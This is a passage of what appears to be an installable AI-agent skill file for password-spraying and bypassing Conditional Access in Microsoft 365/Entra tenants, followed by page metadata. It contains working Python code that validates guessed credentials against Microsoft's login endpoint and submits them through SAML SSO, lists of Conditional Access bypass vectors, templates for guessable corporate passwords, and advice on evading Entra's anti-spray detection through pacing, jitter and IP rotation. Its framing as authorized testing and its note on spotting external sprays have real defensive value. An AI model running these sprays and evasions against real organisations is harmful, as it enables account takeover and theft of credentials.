Cross-reference OneDrive 200\u002F404 with ROPC AADSTS50034\u002F50126:\n\n| OneDrive | ROPC | Classification |\n|---|---|---|\n| 200 | AADSTS50076 (MFA req) or 50126 | **Licensed regular user** (real employee, MFA enforced) |\n| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |\n| 404 | AADSTS50126 | **Shared mailbox \u002F functional \u002F service account** (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |\n| 404 | AADSTS50034 | Doesn't exist in tenant |\n| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |\n\nThe OneDrive-404 + ROPC-50126 combination is **the signal for \"functional account that might bypass MFA\"** — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified `noreply@`, `purchase@`, `accounts@`, `postmaster@`, `transport@` as functional-account candidates (typical for any conglomerate tenant).\n\n**ROPC AADSTS50034 \u002F AADSTS50126 differential:**\n- AADSTS50034 (user not exist) does NOT increment Smart Lockout counter\n- AADSTS50126 (wrong password) DOES increment\n- So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)\n\n---\n\n## Conditional Access bypass options (most blocked, document anyway)\n\n| Vector | Status (2026) | Notes |\n|---|---|---|\n| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try `1b730954-1685-4b74-9bfd-dac224a7b894` (Graph PS), `04b07795-8ddb-461a-bbee-02f9e1bf7b46` (Azure CLI), `d3590ed6-52b3-4102-aeff-aad2292ab01c` (Office) |\n| Different resource (graph.microsoft.com \u002F outlook.office.com \u002F management.azure.com) | Sometimes works | CA scope can be per-resource |\n| EWS \u002F IMAP \u002F POP3 \u002F SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |\n| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |\n| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |\n| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |\n| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |\n| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |\n| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |\n| Geo-bypass via VPN | Sometimes | If \"trusted location\" CA policy includes corp HQ IPs, use a VPN exit there |\n\n**Key insight from this engagement:** in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. **Phishing-completed cookie steal is the only realistic adversary path.** Document this clearly so the client understands the threat model.\n\n---\n\n## ROPC password validation (the canonical test)\n\n**Single-attempt validator pattern (Python):**\n\n```python\nimport urllib.request, urllib.parse, ssl, time, json, os\nctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE\nATTEMPT_FILE = \"engagement_log\u002Fo365_attempts.json\"\nHARD_CAP = 1  # or 2 — never higher\n\ndef attempt(email, password):\n    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}\n    if state.get(email.lower(), 0) >= HARD_CAP:\n        return {\"status\": \"SKIPPED_CAP\"}\n    body = urllib.parse.urlencode({\n        \"resource\": \"https:\u002F\u002Fgraph.windows.net\",\n        \"client_id\": \"1b730954-1685-4b74-9bfd-dac224a7b894\",  # Microsoft Graph PowerShell\n        \"client_info\": \"1\",\n        \"grant_type\": \"password\",\n        \"username\": email,\n        \"password\": password,\n        \"scope\": \"openid\",\n    }).encode()\n    state[email.lower()] = state.get(email.lower(), 0) + 1\n    json.dump(state, open(ATTEMPT_FILE+\".tmp\", \"w\"))\n    os.replace(ATTEMPT_FILE+\".tmp\", ATTEMPT_FILE)  # atomic\n    req = urllib.request.Request(\n        \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\",\n        data=body, method=\"POST\",\n    )\n    req.add_header(\"Content-Type\", \"application\u002Fx-www-form-urlencoded\")\n    try:\n        r = urllib.request.urlopen(req, context=ctx, timeout=15)\n        body = json.loads(r.read())\n        # PARSE AS JSON — see CRITICAL TRAP below about substring matching\n        if \"access_token\" in body:    # ← JSON key check, NOT substring\n            return {\"status\": \"VALID\", \"body\": body}\n        return {\"status\": \"STATUS_200_NO_TOKEN\", \"body\": body}\n    except urllib.error.HTTPError as e:\n        msg = e.read().decode(errors=\"ignore\")\n        for code, status in [\n            (\"AADSTS50034\", \"INVALID_USER\"),\n            (\"AADSTS50126\", \"INVALID_PW\"),\n            (\"AADSTS50053\", \"LOCKED\"),\n            (\"AADSTS53003\", \"VALID_CA_BLOCK\"),\n            (\"AADSTS50076\", \"VALID_MFA\"),\n            (\"AADSTS50079\", \"VALID_MFA\"),\n        ]:\n            if code in msg:\n                return {\"status\": status, \"code\": code}\n        return {\"status\": \"OTHER\", \"msg\": msg[:200]}\n```\n\n### ⚠ CRITICAL TRAP — AADSTS50076 body contains literal `\"access_token\"` substring\n\nWhen CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a `claims` field listing CA policy IDs as a step-up challenge:\n\n```json\n{\n  \"error\": \"invalid_grant\",\n  \"error_description\": \"AADSTS50076: ...you must use multi-factor authentication...\",\n  \"error_codes\": [50076],\n  \"suberror\": \"basic_action\",\n  \"claims\": \"{\\\"access_token\\\":{\\\"capolids\\\":{\\\"essential\\\":true,\\\"values\\\":[\\\"\u003Cpolicy-id-1>\\\",\\\"\u003Cpolicy-id-2>\\\"]}}}\"\n}\n```\n\n**The `\"access_token\"` substring appears inside the CA claims challenge JSON.** A loose substring check `if \"access_token\" in raw_body:` will false-positive every MFA-blocked attempt as a successful token issuance.\n\n**Always parse JSON, then check `if \"access_token\" in parsed_dict:`** — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive \"CA bypasses\" on Sway\u002FYammer\u002FBookings\u002FTunnel client_ids that were actually all enforcing MFA correctly.\n\nThe `claims.access_token.capolids` values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as \"CA policy IDs that fired\" — they're a defender-side breadcrumb, not an attacker-side win.\n\n**Pace:**\n- **NEVER use concurrency. Single-threaded, serial, paced. This is a hard rule, not a tuning knob.** Entra has an IP-reputation anti-spray layer that is SEPARATE from per-user Smart Lockout. Concurrency — not attempts-per-user — is what trips it. Once tripped it returns `AADSTS50053` (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) **contaminates your existence data** — 50053 is now ambiguous and you've burned the 1\u002Fuser cap so you can't re-test — and (b) **flags your egress IP as a spray source** in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false `AADSTS50053` in 15s vs. 1 across 454 paced attempts.\n- The earlier \"≤30 req\u002Fsec is fine\" guidance is MISLEADING for a real tenant — read it as \"serial with 1.5–3s jitter,\" never as \"parallelize up to 30\u002Fs.\"\n- Per-user: hard cap from state file is the only thing that matters for lockout-causation; serial pacing is what matters for IP reputation.\n- Random jitter (1.5–5s between attempts) for less-machine-like signature.\n- **Kill-switch:** if >~5 `AADSTS50053` appear in a run where your cap is 1\u002Fuser, STOP — you've either tripped IP anti-spray (your fault, pace down \u002F rotate IP \u002F wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.\n\n---\n\n## SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)\n\nWhen ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:\n\n```python\nimport asyncio\nfrom playwright.async_api import async_playwright\n\nasync def saml_validate(target_sp_url, username, password, screenshot_dir):\n    async with async_playwright() as p:\n        browser = await p.chromium.launch(headless=True, args=[\"--ignore-certificate-errors\"])\n        context = await browser.new_context(ignore_https_errors=True)\n        page = await context.new_page()\n        # Step 1: navigate to SP\n        await page.goto(target_sp_url, wait_until=\"networkidle\", timeout=30000)\n        # Step 2: click sign-in (selectors vary per SP)\n        for sel in [\"button:has-text('Sign in')\", \"a:has-text('Login')\", \"button:has-text('Azure')\"]:\n            try:\n                await page.locator(sel).first.click(timeout=3000)\n                break\n            except: continue\n        await page.wait_for_load_state(\"networkidle\", timeout=20000)\n        # Step 3: submit username at Microsoft\n        await page.locator('input[name=\"loginfmt\"], input[type=\"email\"]').first.fill(username)\n        await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n        await page.wait_for_load_state(\"networkidle\", timeout=20000)\n        # Step 4: submit password\n        await page.locator('input[name=\"passwd\"], input[type=\"password\"]').first.fill(password)\n        await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n        await page.wait_for_load_state(\"networkidle\", timeout=30000)\n        # Step 5: capture\n        await page.screenshot(path=f\"{screenshot_dir}\u002Fsaml_final.png\", full_page=True)\n        content = await page.content()\n        cookies = await context.cookies()\n        await browser.close()\n        # Check outcome\n        low = content.lower()\n        if \"convergedconditionalaccess\" in low or \"53003\" in low:\n            return \"CA_BLOCKED\"  # cred valid, CA wall\n        elif \"verify your identity\" in low or \"approve sign in\" in low:\n            return \"MFA_REQUIRED\"  # cred valid, MFA wall\n        elif \"we couldn't sign you in\" in low or \"wrong\" in low:\n            return \"INVALID\"\n        elif \"\u003Cpost-auth-landing-marker>\" in low or \"dashboard\" in low:\n            return \"FULL_SUCCESS\"  # session obtained (replace marker per target app)\n        return \"UNCLEAR\"\n```\n\nMicrosoft's `ConvergedConditionalAccess` page (PageID in source) is the definitive evidence of CA-block.\n\n---\n\n## Active-attacker detection via lockout differential\n\nIf you see `AADSTS50053` (LOCKED) on multiple users despite your 1-attempt-per-user cap:\n1. **You did not cause these locks** (math: 1 \u003C 10).\n2. **An external attacker is actively spraying the tenant.**\n3. **Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.**\n4. **Diff lockout count between spray-start and spray-end** — new locks during your session = attacker is active *right now*.\n5. **Document the locked email list as a finding** (SOC actionable — they pull sign-in logs for those users).\n\nThis is the **highest-impact byproduct** of any M365 spray engagement. Always track and report.\n\n---\n\n## Common password patterns to spray (multi-brand enterprise targets)\n\n- `\u003CBrandName>@\u003CYear>` — `\u003CBrand>@2026`, `Tata@2026`\n- `\u003CBrandName>@123` — `\u003CBrand>@123` (very common)\n- `\u003CPlantCity>@\u003CYear>` — `\u003CCity1>@2026`, `\u003CCity2>@2026` (production plant cities)\n- `\u003CEmployeeID-as-password>` — common in legacy apps (PAN number, employee code, phone last4)\n- `Password@\u003Cyear>`, `Welcome@\u003Cyear>`, `Admin@\u003Cyear>` — generic defaults\n- `\u003CBrandName>@\u003CY2-digits>` — `\u003CBrand>@26`\n\n**Engagement caveat:** when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.\n\n---\n\n## Engagement journaling (mandatory)\n\nEvery M365 attempt logs to JSONL:\n```json\n{\"ts\":\"2026-05-08T14:40:53\",\"email\":\"user1@\u003Cclient>.example\",\"pw_first4\":\"\u003Cr4>\",\"status\":\"VALID_CA_BLOCK\",\"code\":\"AADSTS53003\",\"attempts_used\":1}\n```\n\n**Per-user tracker** (atomic):\n```json\n{\"user1@\u003Cclient>.example\": 1, \"user2@\u003Cclient>.example\": 1, ...}\n```\n\n**IP rotation log** (per-day):\n```\n2026-05-08\t\u003Csrc-ip>\t\u003CISP-AS>\t\u003Coperator-handle>\tRound 2 spray\n```\n\nThese three artifacts are deliverable evidence for the report. They survive into the next engagement as state.\n\n---\n\n## Real-world findings template (from authorized-engagement)\n\nFor the report:\n\n**Finding: 261 Entra accounts in pre-existing lockout state**\n- Subject: Active external password-spray campaign detected\n- Evidence: `o365_results.jsonl` filtered to `status=LOCKED`\n- Math: 1-attempt-per-user × 261 LOCKED ≠ our doing\n- SOC action: pull sign-in logs for these 261 accounts over last 30-60 days\n\n**Finding: Valid M365 cred — `\u003Cuser>:\u003Cpassword>` (CA-blocked)**\n- Subject: Confirmed valid credential\n- Evidence: ROPC AADSTS53003 + SAML SSO `ConvergedConditionalAccess` page screenshot\n- Microsoft documentation excerpt: \"AADSTS53003 returned only after password validation\"\n- Recommendation: force password reset, audit org-wide for similar pattern\n\n---\n\n## Anti-patterns (don't do these)\n\n- **DON'T use the leaked cred for the user across multiple resources** — burns the cap with no marginal benefit when CA blocks all paths\n- **DON'T retry after AADSTS50053** — account is locked, you'll just see lockout again\n- **DON'T parallelize ROPC\u002Fauth requests AT ALL** — serial + paced only. Concurrency trips Entra's IP-reputation anti-spray (separate from Smart Lockout), floods false `AADSTS50053`, contaminates results, and flags your IP. \"Going faster\" by adding threads costs more than it saves. The only safe speed-up is removing dead\u002Fnonexistent users first (small `GetCredentialType` batches \u003C60), not raising concurrency.\n- **DON'T forget to test ALL Entra tenants** — sister domains often have separate tenants with different password policies\n- **DON'T retract a CA-block finding** — AADSTS53003 means the password is correct; that's the whole point\n\n---\n\n## Tooling\n\n```bash\npip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub\nbrew install pandoc                                       # for report generation\ngo install -v github.com\u002Fprojectdiscovery\u002F...             # PD toolkit for general recon\n```\n\nPre-built `m365_validator.py` template at engagement working directory `engagement_log\u002Fm365_validator.py`. Adapt the `attempt()` function to your engagement.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-mfa-bypass`** — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → `hunt-mfa-bypass` factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.\n- **`hunt-ntlm-info`** — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint\u002FExchange\u002FIIS anon NTLM Type-2 → AV_PAIR decode yields `corp.example.com` → `m365-entra-attack` resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.\n- **`okta-attack`** — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 `getuserrealm` returns `NameSpaceType: Federated` with AuthURL pointing to `*.okta.com` → pivot to `okta-attack` for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.\n- **`hunt-saml`** — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: `getuserrealm` reveals federation → IdP fingerprinted (ADFS \u002F Okta \u002F PingFederate) → `hunt-saml` XSW1-XSW8 against IdP's `\u002Fadfs\u002Fls\u002F` or equivalent → forged assertion → Entra grants access.\n- **`redteam-report-template`** — M365 findings need clear tenant\u002Fuser\u002FCA-policy framing because the blast radius is \"every Microsoft service the org uses.\" Chain primitive: validated finding from this skill → run through `triage-validation` 7-Question Gate → package via `redteam-report-template` with explicit blast-radius (which apps, which users, which data) for client deliverable.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":29,"source":48,"license":14,"sources":49,"category":42,"date_added":50,"description":7,"source_repo":51,"source_type":35,"report_count":52,"compatibility":53,"license_source":54},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","authorized-engagement, microsoft-docs, AADInternals","2026-09-20","elementalsouls\u002FClaude-BugHunter",1,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fm365-entra-attack","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill m365-entra-attack",{"tool":66,"command":67},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill m365-entra-attack",{"tool":69,"command":70},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill m365-entra-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fm365-entra-attack\u002FSKILL.md",true,[],[75,98,122,147,175,199],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":84,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[81],{"categoryNo":82,"categoryName":83,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[85,86,87,88,89,90,77,91,92,93,94,36,35,25,95,96,31,30,28,97],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":43},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[105,106,107,108,109,110,111,112,113,114,115,116,117,36,118,35,119,120,96,121],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":43},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[129,130,131,132,133,134,135,136,137,138,139,140,141,35,25,142,143,144,145,146],"transcript","youtube transcript","youtube","safe","github","codex","research","license","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":164,"publishedAt":43},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[153,156,159],{"categoryNo":154,"categoryName":155,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":157,"categoryName":158,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":160,"categoryName":161,"taxonomyType":162,"taxonomyTypeDesc":163},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[129,130,131,165,132,166,133,134,136,167,168,169,170,139,171,35,25,172,173,174],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":185,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[181,184],{"categoryNo":182,"categoryName":183,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":157,"categoryName":158,"taxonomyType":20,"taxonomyTypeDesc":21},[131,186,187,109,132,188,189,190,191,136,169,192,193,194,195,25,196,142,197,198],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":206,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[205],{"categoryNo":154,"categoryName":155,"taxonomyType":20,"taxonomyTypeDesc":21},[207,131,208,209,132,166,167,210,211,168,169,170,139,212,171,35,25,172,213,145],"youtube full","full","google","server","dlp","credits","automatic"]